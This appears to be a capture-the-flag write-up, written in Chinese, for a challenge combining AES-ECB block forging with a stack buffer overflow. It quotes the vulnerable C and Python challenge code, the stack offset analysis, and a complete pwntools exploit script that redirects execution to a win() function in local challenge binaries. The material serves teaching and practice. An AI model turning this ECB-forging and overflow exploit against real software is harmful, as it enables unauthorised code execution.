Concepts used: Cryptography + Binary Exploitation
Source
vulnerable-overflow 读取密文,先解密第一个 block 验证
header 和 length,再解密剩余 block 到栈上固定大小的
message[60]。因为 ciphertext_len
没有上限检查,EVP_DecryptUpdate 会直接造成栈溢出。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21
| int challenge(int argc, char **argv, char **envp) { unsigned char key[16]; struct { char header[8]; unsigned long long length; char message[60]; } plaintext = {0};
EVP_DecryptUpdate(ctx, (char *)&plaintext, &decrypted_len, ciphertext, 16); assert(memcmp(plaintext.header, "VERIFIED", 8) == 0); assert(plaintext.length <= 16);
EVP_DecryptUpdate(ctx, plaintext.message, &decrypted_len, ciphertext + 16, ciphertext_len - 16); }
|
dispatch 是加密 oracle,接受最多 16 字节的 message,拼上
VERIFIED header 后用相同 key 的 AES-ECB 加密输出:
1 2 3 4 5 6 7 8
| key = open("/challenge/.key", "rb").read() cipher = AES.new(key=key, mode=AES.MODE_ECB)
message = sys.stdin.buffer.read1() assert len(message) <= 16, "Your message is too long!" plaintext = b"VERIFIED" + struct.pack(b"<Q", len(message)) + message ciphertext = cipher.encrypt(pad(plaintext, cipher.block_size)) sys.stdout.buffer.write(ciphertext)
|
Analysis
ECB 模式下每个 16 字节 block 独立加密,相同明文 block 产生相同密文
block。因此可以:
- 调用
dispatch 获取合法的第一个 block(包含
VERIFIED header)的密文
- 将 payload 按 16 字节分块,逐块调用
dispatch 加密
- 拼接密文发送给
vulnerable-overflow,解密后得到我们的任意 payload
从 stack dump 中可以看到:
1 2 3
| | 0x00007fff9c9fad20 (rsp+0x0040) | message buffer 开始位置 | ... | 120 bytes of 'A' padding | 0x00007fff9c9fad98 (rsp+0x00b8) | saved return address -> 0x401e96
|
- buffer 起始:
rsp+0x40,saved rip: rsp+0xb8
→ offset = 120 bytes
win() 地址: 0x4018f7
Exploit
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50
| from Crypto.Util.Padding import pad from pwn import *
context.log_level = "info"
OFFSET = 120 WIN_ADDR = 0x4018f7
def encrypt_block(block_data): """调用 dispatch 加密单个 16 字节 block,返回对应密文""" p = process(["/challenge/dispatch"], level="error") p.send(block_data) p.shutdown("send") ct = p.recvall() p.close() return ct[16:32]
def build_payload(): p_init = process(["/challenge/dispatch"], level="error") p_init.send(b"A" * 16) p_init.shutdown("send") first_block_ct = p_init.recvall()[:16] p_init.close()
raw_payload = b"A" * OFFSET + p64(WIN_ADDR) padded_payload = pad(raw_payload, 16)
final_ct = first_block_ct for i in range(0, len(padded_payload), 16): final_ct += encrypt_block(padded_payload[i : i + 16])
log.success(f"Payload length: {len(final_ct)} bytes") return final_ct
def exploit(): payload = build_payload() target = process("/challenge/vulnerable-overflow") target.send(payload) target.shutdown("send") print(target.recvall().decode(errors="ignore"))
if __name__ == "__main__": exploit()
|